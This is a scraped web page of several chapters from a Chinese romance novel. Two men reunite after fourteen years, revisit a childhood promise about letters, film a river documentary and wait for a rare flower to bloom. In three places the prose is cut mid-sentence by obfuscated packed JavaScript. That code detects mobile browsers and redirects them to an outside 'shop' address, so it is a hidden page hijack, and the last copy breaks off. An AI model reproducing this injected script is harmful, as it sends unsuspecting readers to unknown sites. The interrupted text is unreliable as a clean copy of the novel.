许藏的视线没有放过阙与山的神情变化,尤其是放松的一瞬。他半信半疑地接过信纸看了一遍。 信里的内容很简单,是一位姓陈的人写信说自己近日又得了上好的木材,问阙与山还要不要,除此之外再无其他,怪不得阙与山看到后会转手给他。 许藏将信叠好,重新塞进被撕出毛边的信封里。 他还没说什么,阙与山突然站起了身,丢下一句“我先去洗澡”,头也不回地就走了。 浴室的热水还没好,花洒撒下的温水让灼热的皮肤不由得战栗。 阙与山逃跑的原因无他,无论是许藏如有实质的眼神,还是过于压迫的气场,都像一只无形的手掐住了他的脖子,让阙与山有点呼吸困难。 尽管身体因为微凉的水在颤抖,但阙与山还是觉得有点热,他将额头轻轻抵在冰冷的瓷砖上,缓缓闭上了双眼。 水流在耳边轻响,最后砸落地上,只由耳朵感知周围场景一下子让他想起了,在秋城大学读大一发烧的时候,也是这般。 那时的他只用凉水浅浅降温后,吞了几片药便背着装相机的包,离开了秋城。 认识陈哥,也就是写刚刚那封信的人,是一件很凑巧的事情,拍摄照片的阙与山与搬着木头的人相撞,随后攀谈了几句吃了顿饭便结识了。 陈哥原名陈萃,走南闯北做木料生意,这次正好为修缮木塔的工程供料,才来到这处小县城。 聊天中,阙与山从陈萃那里了解到各地不同的木材。他想了想,在陈哥那里下了一笔数量很大的单——他想要全国各地最好的木材各一块。 阙与山要的木料不多却精,最难的是有的地方木材稀缺,可能两三年都不一定能得上几根。 陈萃知道他只是一名普通的大一学生,惊讶于他的请求,沉默了半天没有问原因,也没有质问他一个学生哪里来的钱。后来,陈哥一得到好木材,便会来信问他是否需要。 这样的联系持续了近六年,阙与山用攒了多年的木材拼接成了门口的信箱,上了漆上了防水防腐涂料等一切能够维护木料的东西,又觉得寡淡,亲手绘了一只可爱的田园犬。 木材的价格不菲,阙与山还是一年前因《可怜星俱灭》获奖后,才陆陆续续把欠陈哥的钱补齐。 水的热度逐渐上来了,浴室的雾气氤氲,笼罩了一层朦胧感。 阙与山慢慢地睁开眼,盯着自己落在瓷砖上的阴影出神。他想,其实自己之前并不怎么信玄学,不然也不会多年来从不遵守雪村的习俗——在生日的时候打扮自己。 但是,他抱着相机踏进数不清的迥然不同的庙宇后,决定只信“以形补形、以意补意”这一回,妄图收集各地的木材、画上小狗,期盼早日再见许藏。 而这一切荒唐做法的起点,皆源于十四年前的一次平平无奇的对话。 年少的阙与山在冷硬的木板床上转过身,看向近在咫尺的许藏,酝酿很久才问出来一句话:“你的家在哪?” 如果知道了许藏家里的地址,他以后想的话就可以去找他。 出乎意料得,许藏躺姿标准,视线停留在那根木梁上,却摇了摇头,语气很淡:“我四海为家。” 若是十四年后的阙与山,就应该快速地明了,这是许藏拒绝回答问题的应付之词。 就像在玉琼雪林第一晚一样,就算他再怎么暗示和逼问,许藏也不会说自己的家在哪,尽管后来他还是尾随许藏回了家。 可是当年的他并没有经历过人情世故,也不明白许藏的潜台词,只会傻乎乎地追问:“那我要怎么和你联系?” “我知道你的地址,可以给你写信。”许藏如是说道。 可是从许藏离开,到最终雪村荒废,整整八年,阙与山没有收到一封落款是许藏的信。 搬家的第一天,他就用从陈哥那买来的上好木材,在家门口支了一个小狗信箱,又是六年,阙与山依然没有收到一封来自许藏的信。 阙与山一开始总觉得是自己的问题,是他的知名度还不够,是他搬家后的地址还不足以许藏知道。 后来,随着作品获奖,信箱中积攒的信封数量逐渐增多。近两年,只要是看到地址是秋城广播大楼的信,阙与山都会珍重地裁开,最后败兴地揉成团扔进垃圾桶里。 他不确定许藏是知道自己的地址不想寄信,还是出了雪村没几天就忘了。 阙与山终于不得不接受,许藏言而无信、自己无信可收的结局,匆匆地接受了秋城电视台的采访,狼狈到访深夜电台组,最终确认了情况是许藏根本不在乎。 许藏不在乎有没有一个小狗的地址,不在乎一封信会带给小狗多大的喜悦,更不在乎他们会不会重逢。 阙与山十四年来午夜梦回许藏承诺寄信的场景,总是自嘲,是不是情感太过浓烈,篡改了记忆,其实许藏那天并没有说一个字。 事实上,许藏跟着父母游历十余年,总会遇到不同的、爱慕他的人,毕竟许藏在阙与山看来,是从重重雪山之外降临的人,那样的渊博、温柔,与日出争辉。 那些感受到许藏斯文儒雅的人,或许许藏也会叫他们小狗,他们会比他有意思、比他开朗、比他善得人心。许藏大概会更加享受他们的拥戴、亲近,可以给他们糖果、拥抱或是更多,并不负责任地留下很多承诺。 雪村里脏兮兮不爱讲话又阴郁的阙与山,只是微不足道的其中一个。 可是阙与山不甘,不服也不平。 他从雪村闯出来后,拿着相机拍下了那样多的景色,洗出来无数张照片,只为在给许藏回信时附上最美的几张,送去关于自己的瞬间。 满腔热血和分享欲,如同那些照片一样,被叠压着、窒息着锁进了暗无天日的箱子,最后不了了之。 所以,阙与山又折服了,毕业的时候打开了那个积灰的箱子,顶着炎热的太阳将它们散给了毕业或总要毕业的同学。 那些寄托情愫的照片,总能去到任何一个角落,无声地诉说。 最后,这个小狗信箱,还是没等到许藏的信,却先等到了他的人。 阙与山不知该如何表达此时的心情,因为他明确知道,许藏的信是属于他的,而人不是。 可是,他连一封信,都拥有不了。就像十四年过去了,他掌握的、从属于许藏的,只有一颗仍不停歇的心脏。 阙与山无意识地揉头发、洗身体,依靠肌肉记忆擦干水穿上居家服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233887|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,开了排风后走出雾蒙蒙的浴室。 他走出去的一瞬间,就看到许藏捏着陈萃的那封信来回颠倒,表情若有所思。 蓦地,阙与山就从刚才逃避的情绪里释怀了。 其实就算陈萃真的在信里写了什么,许藏也只会纳闷为什么他要收集这么多木材、为什么要做信箱,根本想不起来十四年前平凡的一晚中说过的某一句话。 就在此时,许藏倏地抬眸看过来,指了指桌子上被分门别类堆好的信封:“帮你分好了,这边是工作,那边是粉丝的手写信。” “谢谢,”阙与山礼貌地回应,却没有先去桌子,还是走到沙发那边拎起自己的背包,将里面的相机掏出来放到专门的房间,“晚上想吃什么? “我不怎么回来,冰箱里没什么存货,不过附近新开了一个超市,东西还算齐全。” “吃什么都行,你拿手好做的吧。”许藏顺着开着的房间门缝,看到满墙的镜头、三脚架,还有登山杖、冰镐等自然摄影师需要用到的东西。 他顿了一下,环顾整栋房子,想了想问道:“哪间是客房?” 阙与山一下子就听懂了他的言下之意,拆解镜头的手停了一下,若无其事地道:“没有客房,除了主卧都是杂物间。沙发和主卧,你选一个吧。” “你父母和朋友来了怎么住?”许藏没选,而是疑惑地问道。 “父母去世了,葬在老家。”阙与山没什么情绪地说着,摆放好相机后关上了门,又从沙发上的背包中取出那台跟了自己许久的收音机。 他的心思完全不在收音机上面,下意识地拔掉耳机线,打开后调频,口中继续回答:“天南海北摄影,因缘结友。大多像林木深,我找他,而非他找我。” 收音机因为阙与山无意识的动作,从最开始的嗞啦电流音,转到了有声音的广播节目。 等他反应过来时,许藏已经站到了他的面前,从善如流地从他的手里抓过了那个收音机,直勾勾地看着其上的频道,听着里面的主播声音。 不顾阙与山霎时的身体僵硬,许藏垂着漆黑的眸子,用手指挑拨收音机的按键,将它的声音调大,甚至有些震耳,电台节目一下子变成了公放。 “欢迎收听秋城广播的晚间新闻……” 阙与山的神情微变,他居然凭着肌肉记忆,下意识将收音机的频道调到了秋城广播节目。而且晚间新闻播完后,再过一个节目,就正好是许藏的深夜节目。 意识到这件事后,他猛地抬眸看向面前的许藏,几乎能想象到,下一秒许藏就会用讥讽的声音揶揄他。 可是并没有,许藏好像根本没有觉察他的小心思,表情平淡地盯着收音机。 阙与山倏然发现,那个前两天带刺的许藏好像突然又消失了。如果非要落实到一个时间节点,那就是在看过门口的小狗信箱后,但许藏又不知道信箱所蕴含的期望。 他不太明白许藏的所思所想,就如现在,悬在头上的达摩克利斯之剑迟迟没有落下。 这是许藏第二次拿到这个收音机,上一次在玉琼雪林木屋的杂物间,里面播放的也是秋城广播大楼的节目,彼时电台主播还是梁又因。 那时的阙与山说,是他随便调的频道,后来才知道是秋城广播。略有些沾沾自喜的许藏,像是被泼了冷水般,只觉得自作多情。 然而,又一次在林城,在阙与山的家中,许藏近距离亲眼看到他熟练地调到秋城广播。 许藏明确知道,从霜城的玉琼雪林听秋城广播,和从林城城北听秋城广播,因为地点和距离不同,所要调的频道是不一样的。 也就是说,阙与山是有目的性地,只会将收音机调到秋城广播收听节目,那么他也听过自己的深夜广播电台吗? 许藏这么想的,也是这么问出来的。他抬眸看向面前的人:“阙与山,你听过我的节目?” 审判之剑迟缓地落下,场面还是如许藏第一次拿到收音机时局促。 在雪林木屋的杂物间,阙与山难得压制窘迫地承认,却只换来许藏的冷漠,而现在,许藏又一次地面对面揭开陈旧的伤疤,他能感觉的不是痛楚而是麻木,甚至还有一丝扭曲畸形的痛快与愉悦。 阙与山偏开头,表情难看,破罐子破摔地说:“我在雪林木屋的杂物间,不是跟你说过吗?” “我当时带着耳机,没听到。”许藏的神情难得怔愣,呆呆地说。 “你是真没听见?”阙与山的将信将疑,在扭回头看向许藏的眼睛时就信了。 他想,原来许藏活得肆意,不会装听不见,也不会装小狗是在喊他。 他应该在当时许藏转身离开时,追过去再说一遍,可是这个“再”字,对于阙与山来说,可谓一道强硬又脆弱的天堑。 “我说,我听过你的节目,讲得很好。”阙与山看着许藏说完后,脑子里突然想起来,当时许藏是带着耳机在听梁又因的节目,所以才没听见自己的声音。 他转好的表情一下子就差了起来,比刚刚的脸色更臭更黑,甚至控制不住地讥讽许藏。 “你的耳朵也不好?” 18. 同是天涯小可怜 许藏没有应他最后那句调侃的话,手指一拨将收音机关掉了,有些吵闹的秋城广播晚间新闻戛然而止,整栋房子又回到了安静的氛围中。 他看着阙与山,将话题拐了回去:“你的父母?” 许藏对于阙与山的父母几乎已经没什么残存的印象了,只记得是一对非常朴实的夫妻,对阙与山过于放纵,甚至有点听之任之,才养出十四年前那样孤傲阴郁的阙与山。 “五年前去世了。”阙与山没什么表情地从许藏的手中接过收音机,将耳机线缠上后归位,“父亲多年辛苦、积劳成疾,没过上几天好日子就撒手去了。此后,母亲以泪洗面、每况愈下,不久也跟着走了。 “我考上大学后,坚持要走摄影这条路,他们没有反对,在背后支持了很多。可能是我愚笨,从开始拍摄到后来,辗转六七年都没什么建树,好不容易有一幅摄影作品被选入了杂志,还没等出版拿给他们看,他们就已经走了。” 阙与山拉开一个凳子,凳子腿在地砖上发出刺耳的短促声音,他坐下后仰头看向许藏,平淡地继续说:“我依他们的意思,将他们葬回了雪村老家。后来,我把出版的杂志烧给了他们。” 其实,母亲去世前,阙与山陪在她身边的时候,还曾不死心地问过——这么多年有没有收到过陌生人的信?有没有将许藏给他的信漏掉了或是扔掉了? 母亲那时的精神已经不算好了,但听了他盛满希冀的话后,依然坚定地摇头。 阙与山没有觉得特别难过、悲恸,因为母亲走的那天笑容恬静豁然,甚至少有地将他环抱在怀里,用那些小孩子都不信的话哄他,他们之间二十几年的细小龃龉好似呼出去的雾气,一下子就烟消云散。 她那样瘦小的四肢,却能将他这样庞大的身躯纳入怀中,告诉他,很棒,再见。 “安顿好白事后,我拎着东西去了玉琼雪林,拍到了罕见的寒夜光柱,差点冻死,幸好被林木深捡了回去。” 随后在雪林上,阙与山凑巧地听到了许藏的节目,觉得老天总是不会厚此薄彼,喜欢关一道门开一扇窗。同时,他也要负担起,两个行李箱加一个登山包就是他所有身家,这样孑然一身的孤独、浮萍般的生活。 阙与山看到许藏突然垂着眸子朝他走来,一只白皙修长的手举起来,最后轻轻压在了他的发顶,隔着发丝揉了几下。 这一幕让他的眼睛微微睁大,蓦地和记忆中的场景重叠在一起。 雪村的雪下得又大又急,许藏不得不去给忙于拍摄的父母送饭,他不大认得路,只能请阙与山带路。 两人从阙与山的家里出发,一路快走到雪村的村口,却在那里被几个男生绊住了脚。 那几个男生的年岁瞧着与阙与山差不多,明显比许藏小,且面容幼稚,带着几分未开化的残忍。 领头的人没想到阙与山的身边还有一个许藏,他往后缩了缩,约莫又想到今日自己带兄弟来了,往前走了几步,叉着腰很气势地冲着人喊:“你跟你那头狼天天混在一起,一样的蓝眼睛,是不是还一样吃生肉?” “怪不得你父母管不住你,我家要是有你这样的畜生,早摔死扔后山了。”一旁的人应和道。 事实上,那天风急雪厚,阙与山穿得很多,带着极其暖和的厚帽子,没有听到那几个人在叫什么。 他几乎无视般朝村口走去,想着还好许藏的父母没有突发奇想要去后山,不然就麻烦得多。 许藏将他拽在了原地,阙与山才转过身,将帽子摘下,凑巧听到了后面的话。 领头的人怒气冲天,音量也提高了几分:“满嘴生肉的白眼狼!活该遭报应到眼睛和……” 他的话没说完,人已经被阙与山一拳掀翻在地。 后来的场面一番不可收拾,阙与山野混多了,自然是比这几个男生的劲儿狠且大,将围堵生生变成了单方面的一打多。 阙与山一直都没明白,他们有什么资本可以招惹他,难道只是皮痒想挨打。不过,他向来乐意接收这种,送上门的生意,专挑痛但不留痕迹的位置狠揍。 最后是许藏拦的架,他先将兴奋到眼红的阙与山拉到一旁吹冷风,转身把那几个疼得乱叫的男生扶起来,还好脾气的拍灰。 具体说了什么,因为离得太远,阙与山一个字没听到,只看见那几个小男生最后脸色还不错地走了。 可脸色是遵守守恒定律的,被揍的几个好了,阙与山的脸色就变差了。 送走了拦路绊脚的人,许藏若无其事地用新换的干净衣角擦了擦手,才走回到阙与山身边。那时的阙与山比许藏小,也矮一截,正方便许藏将掌心朝下,揉上他的脑袋。 “许藏,你在安慰我吗?” 彼时的阙与山很不爽,是这么问的。 此时此刻因坐在凳子上的缘故而比许藏矮一截的阙与山,眸光微动,以不同的语气问出了与当年一样的话。 当年的许藏想了想,笑起来:“我想,我在努力带给你快乐。” 而十四年未见的许藏表情未变,甚至不需要思考:“嗯。” 一下子,那种希冀化成飞灰,就像母亲说没有收到信一样。 他的记忆始终是他的,不是许藏的。他们好似两块校验失败的虎符,合不到一起。 阙与山败下阵来,仓皇地从他的手下逃离,站起身俯视许藏,嘴硬道:“我不需要。” 阙与山撂下这句话后就进了主卧,许藏的手在半空中顿了很久,直到有酸麻疲软感传来,他才甩了甩垂到了身侧。 他没有忘记当年的话,也没有忘却当年的想法,之所以在听了那么多污言秽语后选择拽住阙与山,他是想亲手揍人的,毕竟他只是一个外乡人,不用担心被找麻烦。 没想到,阙与山的速度快那么多,在他还没出手的时候就冲出去了。他只能善后,只能搜肠刮肚地用言语去威胁,只能尽力保证阙与山的冲动不会给他带来别样的后果。 然而时过境迁,他已经决定要放手,就不会再说“带给你快乐”那样模棱两可的话。 其实,控制不住地走上前,揉阙与山的脑袋,才是情绪宣泄的意外,这种意外最好在纪录片结束前都不要再出现,许藏如是警告自己。 阙与山再从主卧出来时,换上了一身出门的厚衣服,他看都没看另一个方向的许藏,直奔着玄关而去,没什么情绪地甩下一句:“我去超市。” 他出门后刚准备关上门就感受到一阵阻力,阙与山从门缝里看到许藏拎着自己的外套追了过来。 许藏的目光直直地看他,语气不容置疑:“我跟你一起去。” 两人在门口僵了几秒,阙与山才松开手,转过身在门口等人。 超市的距离不算近,两个人走了过去,期间没有交流,位置也是一前一后错开。 到了超市,阙与山推了一个车,选购了许多家中没有的佐料和食物,看到早早放出来的红色礼盒,才意识到还有一个多月就要过年了。 也就是说,没几天,就到他的生日了。 阙与山推着购物车穿过那片红色,突然开口问道:“许藏,你过年回家吗?” 他听小赵说过,许藏调来秋城广播大楼的两年,基本上没怎么休息过,更别说过年了,年假富裕到足有近两个月。 这话到许藏的耳朵里,却格外怪异,他的表情微变,疑惑道:“我不过年也回家,下班不回家去哪?” “我不是这个意思,”阙与山意识到他理解错了,想了想换个说法,“你回父母家团圆吗?叔叔阿姨是业内有名的摄影师,有机会我去拜见。” “六年前,他们因病去世了。”看到阙与山惊讶地转过头,许藏的表情平淡地叙述,“为了摄影,落得一身的职业病,没有上心保养,恶化之后依然不听医嘱,仍要扛着设备去拍摄瀑布,途中犯病,被陌生人叫救护车送到了医院。 “我那天在学校参加毕业典礼,得知后赶飞机回来,只来得及隔着玻璃看他们一眼。在国外火化后,我带着骨灰回国,依言将骨灰撒到了他们最喜欢的山间、河中。” 这一切做完后,不知不觉来到了冬天。雪村的雪又如记忆中的大且急,一眼望去只有无边无际的雪和被雪淹没的荒芜破屋。 那些雪像是嚣张过境的熔浆,灼热得沉重地压在他的身上、背包上。 那一刻,许藏觉得自己如泥般、如破烂般、如毫无生机般,被雪一点点掩埋,被火山灰堆砌。 “抱歉,我不知道。”阙与山顿时有点不知所措。 尽管许藏说了没事,但阙与山还是沉默地往购物车里塞了不少吃的,并在晚饭前忙忙碌碌,且义正言辞地拒绝了许藏的帮忙,把人赶去写赤霜河纪录片的规划和文案。 他做了复杂的四菜一汤,端上了餐桌。在解开围裙的同时,目光落在了认真写东西的许藏身上。 阙与山将围裙挂回了原位,凑到许藏身边不挡光线的地方,扫了几眼他的字。 许藏的字十分规矩,有一种楷书端庄的美感。只是阙与山发现有一点与众不同,那就是许藏习惯在写竖钩这类笔画的时候,提得飘逸,与严谨的结构格格不入,带着一股叛逆的味道。 负责人将资料都发给了许藏,他做事周密、规划详略得当,并且还能将赤霜河的过去现在未来串起来,把变化和地理知识相结合,阙与山对于许藏的能力很是放心。 他终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233888|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于在许藏思考的时候打断他,两个人先吃了顿晚饭,并在餐桌上畅聊了对于纪录片的想法。 两个人达成几点共识后,阙与山起身收拾餐桌,许藏则继续俯身在本子上写写画画。 许藏写完的时候,伸展了酸痛的手臂,看到阙与山就坐在自己对面,撑着胳膊托着下巴,直白的目光锁着他。 他怔了一下说道:“我今晚睡沙发吧。” 阙与山没说什么,径直起身将沙发清理干净,从主卧抱了被子扔到上面,公事公办地说道:“浴室在那边,浴室的柜子里有未拆封的洗漱用品和吹风机,你洗完记得关灯。” 说完,他头也不回地进了主卧,关上了门。 躺到床上的阙与山并没有睡着,一双眼睛在黑暗中睁着,耳朵朦胧地听着外面,从细碎的声音到最后安静下来。 他的姿势没变,直到躺到后背僵硬发麻,才撑着坐起身,拍开了床头的小夜灯。 阙与山发了会儿怔,才挣扎着从床上下来,打开了主卧的门。 借着微弱的光,他看到了沙发上的许藏,极尽蜷缩的身体,防御性强的姿势,缩在窄小的沙发里,甚至弯曲的腰背有很大一部分都悬在半空中。 这样睡姿的许藏,和十四年前一模一样。 阙与山突然意识到,其实许藏一直都没有变,没有疲惫嗜睡,没有睡觉不老实,雪林木屋里的一切都是假象,都是许藏装出来的,包括暧昧。 许藏如此费尽心机,难道只想测试一下,十四年前的那条狗还听不听话? 或许,不管他听不听话,许藏都有实力驯服他,再丢弃他。 所以,他只不过是,大雪封山时,许藏的一个消遣罢了。 许藏的身体微微动了一下,在沙发的边缘摇摇欲坠。 从主卧门口到沙发的几步路,阙与山走得很艰难,他不知应该是放任情愫将许藏抱回主卧,还是克制地叫醒他,或是直接绕一圈回去,就当作没看见。 每走一步,许藏在雪林上的所作所为都会在脑海里上演一遍,阙与山觉得有两只手在扯他的脑子,一边在放弃,一边在侥幸。 好在,还没等阙与山走到,也没等他挣扎出来,许藏就醒了。 他不用做决定,不用现在就挑明,他还能继续若无其事地和许藏相处。阙与山艰难地挑起唇角,气息几乎克制不住地颤:“许藏,你带着被子去主卧睡吧,床很大,不用担心明早会尴尬。” 许藏那双漆黑的眼睛一动不动好久,连阙与山都替他感到酸。 他终于缓慢地眨了眨,很听话地从沙发上起身,将缠在身上的被子裹紧,像只蚕蛹一样从阙与山的身侧经过,进了主卧。 两个人克制地睡在了床的两侧,一人朝东一人朝西,中间空的位置大到能再塞一个人。 赤霜河纪录片的拍摄工作很快就被提上了日程,阙与山和许藏各背了一个很大的登山包,出发去了林城城东。 两个人配合得还算不错,从拍摄到文案再到出镜,都记录在了相机的存储卡中。 上游的河水冲刷后留下的河沙,填满了下游冰面的裂隙,形成一副自然的涂抹画。 从山丘往下望,那些灰黑色的泥沙,堆在白色的冰上,好似挣扎煎熬拥挤的灵魂,它们在无声地哀嚎。 赤霜河的两岸,是雪白色的雾凇冰挂和橙红色的水杉林。 橙白两色夹着中间这副抽象作品,无论从地理还是艺术角度,都贡献了完美的模板。 赤霜河纪录片的拍摄进行得很快,几乎已经可以结尾收工。 但是林城城东正好下了一晚上的雪,让两个人的脚步为之停留。 清晨雪停后,迈出帐篷时,能从山坡上看到雪的杰作。 雪覆盖大地,只留下分叉的蜿蜒河道,像是大地之树偶然生长在了白色的背景板上。 阙与山正在调整镜头的时候,听到了许藏的手机铃声,他向远处的许藏招了招手。 经过多日的协作,许藏已经能很快地理解他的意思,确保三脚架稳定支在地面后,径直走到了阙与山身后的帐篷中,从背包里抓出响个不停的手机。 屏幕上显示得是一串陌生的数字,许藏扫了一眼,没有一点印象。 但为了防止挂掉什么极其重要的电话,他犹豫了下,还是选择了接听,并开了免提做保险。 电话那头的人声音匆忙且断断续续,像是刚跑了个马拉松,因此他说第一遍的时候,许藏还没有听清。 直到那人没听到回复,焦急地加重了音量,几乎是吼出来的。这下,不仅许藏听到了,几步之遥的阙与山也听到回过了头。 “阙与山,又一春要开花了!” 19. 说出口就不灵了 直到邮寄交付有关于赤霜河纪录片的所有存储卡和资料,收拾东西坐上前往霜城的火车,阙与山才松了一口气。 他从找借口下山回到秋城开始所做的一切,包括跟着许藏回家、策划纪录片、半强制许藏成为副摄等等,都是为了林木深打来电话告知又一春要开花的那一刻。 他们拍摄纪录片的时间比许藏描述中的要晚,却正巧到了赤霜河最美的时候。 工作本该结束,又因天公作美,下了一晚上的雪,时间正好许藏能接到那通电话。 阙与山一直都知道,他最喜欢雪,是因为雪永远站在他这边。 无论是十四年前留下许藏,还是玉琼雪林困住许藏,又或是阴险地将时间拖到又一春开花。 站在赤霜河旁的山坡上,许藏垂眸看着屏幕上林木深刚刚挂了的电话,只问了一句:“阙与山,原来你找我来拍纪录片是为了这个?” 为了报复许下未完成的,一起看又一春开花的承诺。 彼时的阙与山,双手还放在三脚架和镜头上,一副工作的模样,却连相机都没有开。 他想说,不是的,其实不只是为了又一春。 他见过十四年前,许藏对于父母手中相机的渴望时,就埋下了这样的想法,甚至完成它比许藏许下的承诺更重要。 尽管在秋城广播大楼的楼梯间,许藏红着眼说自己不喜欢摄影,但阙与山都知道的,那是他在说反话。 就算许藏后两句所谓的,不想和他一起去赤霜河,不喜欢喝茶都是真的,不喜欢摄影这件事也是假的。 还好他完成了这项,可能许藏自己都忘记的、微不足道的梦想。 但阙与山害怕,如果自己将事实和盘托出,许藏反而会因为多管闲事,拒绝前往玉琼雪林,那样他们两个此生恐怕再也见不到了。 所以他只是转过身迎着日光,左耳的果木壳轻撞发出空灵的声音,笑了笑:“是啊,许藏。你说过,要和我一起,等又一春开花。” 不出所料,许藏同意了,只是又变成了一个闷葫芦。 阙与山轻轻叹了一口气,在火车前行的颠簸途中偏过头,看向坐在里面的人。 许藏的手肘支在窗台上,掌心托着下颌,身体微微倾斜靠在那里,目光几乎没有从窗外移开过,也不怎么说话。 阙与山想了想,稍稍凑过去,在许藏的耳侧轻声地说:“许藏,明天就是我的生日。这次,你会陪我过生日吗?” 许藏从窗台离开,直起身后仰靠在座椅上,偏过头看向阙与山。那双漆黑的眸子中含着复杂的情绪,让人看不明白。 就在阙与山以为他不会回答的时候,许藏开口了:“是要我履行十四年前的承诺吗?” 阙与山不知道,为什么过生日这样简简单单的一件事,到了许藏的嘴里就像是上了好几道锁、绕了好几圈弯。 好似过生日,只是许藏给亲近之人的特权,类似越之垠、梁又因等等数不清的人,而阙与山只能用承诺绑架他。 他犹豫了几秒,还是顺着许藏的意思回答:“是。” 许藏了然地点了点头,没再说什么,那些复杂的情绪也一下子克制地隐匿起来,只留下平淡。 安静的氛围在两人之间发酵,阙与山看了一眼火车上挂的表,还有几分钟就到霜城了。 他率先忍不住开口:“许藏,我要过生日,你就没有礼物要送给我吗?” “阙与山,”许藏看到车厢中人影攒动,站起身将自己的背包从架子上拿下来抱在怀里,单膝跪在座椅上,俯视着坐着的阙与山,幽暗的阴影打在半边脸上。 他语气平淡地说:“我没有可以送你的了。” 下了火车坐趟大巴直达玉琼雪林山脚下的游客中心,阙与山拖着自己沉重的行李箱和登山包,又一次造访服务台借电话,又一次毫不客气地让林木深开皮卡来接自己。 他和许藏将东西扔到后面后,上了林木深的车。 林木深一脚油门,皮卡朝着雪林上进发。他从后视镜看了一眼后排的许藏,又扫了一眼副驾驶的阙与山,侃侃而谈:“前几天又下了一场雪,雪刚停,我就想到又一春了。 “本来想只瞥一眼就走,就怕错过开花,到时候你又找事。我一走近,就看到一个很小的,白色的花苞,远看和雪融成了一体,差点就错过了,急忙给你打电话,谁知道……” 林木深的话紧急刹车,他从后视镜中和许藏对视了一眼,友好地笑了笑,转而问阙与山:“这次不会倔得跟头驴一样,非要半路就去趴雪窝了吧? “许藏大老远跟你一起来,你好歹让人家休整一下,吃顿热乎饭。又一春再急,也不能把身体饿坏。” 阙与山难得没有反对,也没有犟,认同地点点头:“谢谢。” 这一声谢谢,让林木深险些打歪了方向盘,他忙将皮卡开上正规,匪夷所思地快速侧过头瞥了阙与山一眼,不可置信地说道:“你真是阙与山?没疯?太阳打西边出来了?你还会跟我说谢谢?” 阙与山罕见地没有接话,反倒是后座的许藏,若有所思地通过后视镜看了阙与山好几眼。 林木深的皮卡开得不算慢,很快就回到了木屋的后院,帮忙将行李箱都拖了下来,拎回杂物间。 许藏站在木屋正门的台阶前停了一会儿,他没想到自己有生之年还能再次回到木屋,也没想到这么快就回来了。 林木深放完行李箱从杂物间出来时,就见到许藏这副模样,几步下了台阶,拍了拍他的肩膀:“上次我就想说了,知道你够帅了,别在我的屋子前拍海报了,走吧进屋。” 林木深知道他们俩要来,提前准备了不少的好吃的,差点就将存了多年的酒又挖出来了,转念一想两个人还得连夜趴雪窝,只得作罢。 玉琼雪林近两天没有雪,雪窝又离木屋比较近,阙与山和许藏收拾了东西,最终决定徒步走到拍摄又一春的雪窝。 离得近了,又一春确如林木深所说,有一个如雪白的花苞,因为临近开花,微微张开,花瓣的底部染上了些许淡粉色。 阙与山利索地将背风大石头前的雪清扫干净,支起了三脚架,固定好云台和相机后,将精心挑选的长焦镜头接上,调整好位置后开机,先拍了一会儿又一春含苞待放的模样。 这段时间内,许藏将大石头上的雪扫掉,铺上防潮垫,先将两个人的登山包放上去,从中取出帐篷。 他曾多年奔波,本就对于搭帐篷得心应手,经过纪录片拍摄时的加固记忆,搭起来更加快速。将地钉砸入土里,在大石头前撑起帐篷后,许藏又用便携的雪铲在帐篷周围垒了挡风的雪墙,压实后熟练地在两个睡袋下面铺上防潮垫和厚垫,把生活用品井井有条地放入帐篷中。 “许藏,”阙与山的声音很小,像是怕惊动什么。 跟他合作了几天的许藏一下子就意识到,阙与山是在喊自己看野生动物。 放轻动作从帐篷中走出来,果不其然,许藏一下子看到了远处的缓坡上,有一只小狐狸。 阙与山朝他招了招手,把相机前的位置让了一半给许藏,指了指屏幕示意他看:“小狐狸。” 通过相机和镜头,能清楚地看到那只小狐狸在原地猛地起跳,一头扎进了雪里,然后从中扭出来后还甩了甩身上的雪。 它似有所感地朝雪窝这边看了一眼,警觉地退了两步,又被雪里的猎物吸引了目光,再次起跳,脑袋扎入雪中,反复几次终于抓住猎物跑了。 阙与山拍下了小狐狸最后一次跳起来滞留在半空中的照片,洁白的雪地里能看到好几个砸出来的洞。 他调出来和许藏一起看了几眼,突然想到了什么,心情还不错地说道:“许藏,我们还没有一起拍过照。 “等又一春开花的时候,我们拍张合照吧,就当是你提前送给我的生日礼物了。” 又一春的颜色变化是它最大的特点,慢慢绽开的时候,粉色从花的底部朝花尖扩散,慢慢舒展开它娇嫩的身姿。 它的茎部缠绕着黑色的线条,叶片普通扁圆没有什么纹路,而它的花朵像是从这样丑陋的毒药中生长出来的一样,开出最艳丽的颜色。 许藏在他的身边问:“现在要合照吗?” 守在镜头前的阙与山摇了摇头,伴随着果木壳的声音,说再等等。 彻底开花后,可见又一春的花蕊逐渐从粉色到朱红,一层层向四周荡开,像是在河水中投入了石子荡开的涟漪,美丽得好似摇曳的百褶裙摆,在雪地里划出一道风景。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 